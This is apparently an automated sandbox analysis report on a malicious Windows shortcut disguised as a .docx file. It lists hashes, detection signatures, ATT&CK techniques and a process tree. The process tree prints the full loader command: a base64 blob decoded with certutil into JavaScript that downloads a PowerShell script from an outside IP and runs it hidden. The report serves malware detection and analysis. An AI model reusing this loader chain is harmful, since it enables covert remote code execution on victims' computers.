c783aca3fd2464568bf416912bd0f052d15278910b97025edea67e770308ecbf

Analysis

max time kernel
150s
max time network
3s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/07/2026, 11:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ProtokolZatrimannya.docx.lnk
Size 19KB
Sample260712-ntmllsg15m
SHA256 c783aca3fd2464568bf416912bd0f052d15278910b97025edea67e770308ecbf
MD5 9b9ee0a683838f16f71497b6f7addb58
SHA1 016cd83d8d13d5c7c0e0016f1cc380e416a4c5ff
SHA512 97a713d563e67eb5fd655222ee39f2b14e224d5717aa479e017f428a0aa1aac6529b7fd34bf6d7bf2e511e75cf255c411c1a8fec2eafdeeb2c18e3cc2fb99551
SSDEEP 24:8d/anMfCJU6yaWInZViOSp+UOi+Eu+njVHqcVSWKMSS81W:8lanMrXanfy7KEu+njtlVSWK511W
TLSH
T1A092BB3475E9011AE1F3EE716DF477C5AEAAF277E871128D454402094912E80FD53B2B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	996	wscript.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
3040	certutil.exe
5204	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3976 wrote to memory of 5204	3976	cmd.exe	88
PID 5204 wrote to memory of 3040	5204	cmd.exe	89
PID 5204 wrote to memory of 996	5204	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ProtokolZatrimannya.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzkxLjkyLjM1LjIzMC9zemNoMDgwNy9jb21tZXJjZWxvZ2ljLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > mrlI.b64 && certutil -decode mrlI.b64 0c4X.js >nul && wscript //b 0c4X.js && del mrlI.b64 0c4X.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:5204
- - C:\Windows\system32\certutil.exe
    certutil -decode mrlI.b64 0c4X.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:3040
- - C:\Windows\system32\wscript.exe
    wscript //b 0c4X.js
    3⤵
    - Badlisted process makes network request
    PID:996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0c4X.js

Path C:\Users\Admin\AppData\Local\Temp\0c4X.js
Size 304B
SHA256 7cce56eb45a2e8df159a480191e0417cc31a5dc82b53e54130a8caf48f1d869a
MD5 a9577aad3a3578237107efef80da8b1d
SHA1 4b4a094060b22ee751aff405cd45db50dff64e05
SHA512 ea30fbe805e2985691ad11b87bf23531cdce9a2c847f355bd5fb7927f39546e8d993bbe458baa7300b6dd98f6f05e75813c233059ce1630fd352d4829ffc7fb5
TLSH
T1BEE07D65407851EE25CBDFEC5450C66041EB49A57002E86FB744CAD91410204115D29F
MD5 SHA1 SHA512 TLSH

Submit Download

mrlI.b64

Path C:\Users\Admin\AppData\Local\Temp\mrlI.b64
Size 412B
SHA256 1fe4ad2882e0026c01ffe64c2faea89fc2c62498fe117309836cb79df2a9813e
MD5 ca52feb15ed20e1cd4b3dfa77acb7f78
SHA1 ac4224c1c84f7e51284b89b4e31b68eb9c517b2e
SHA512 288b84b4521b2ad4541dca4f94934c967ed810fa338aefa93d0c3c519f7b371492fc308f0b84de1d803c64281067720376235791193e77b20da92862f4db2abb
TLSH
T147E0FA59CD4733934D603045B7600C5BF5CDD5101931696CD71D7C592DF835F48E4358
MD5 SHA1 SHA512 TLSH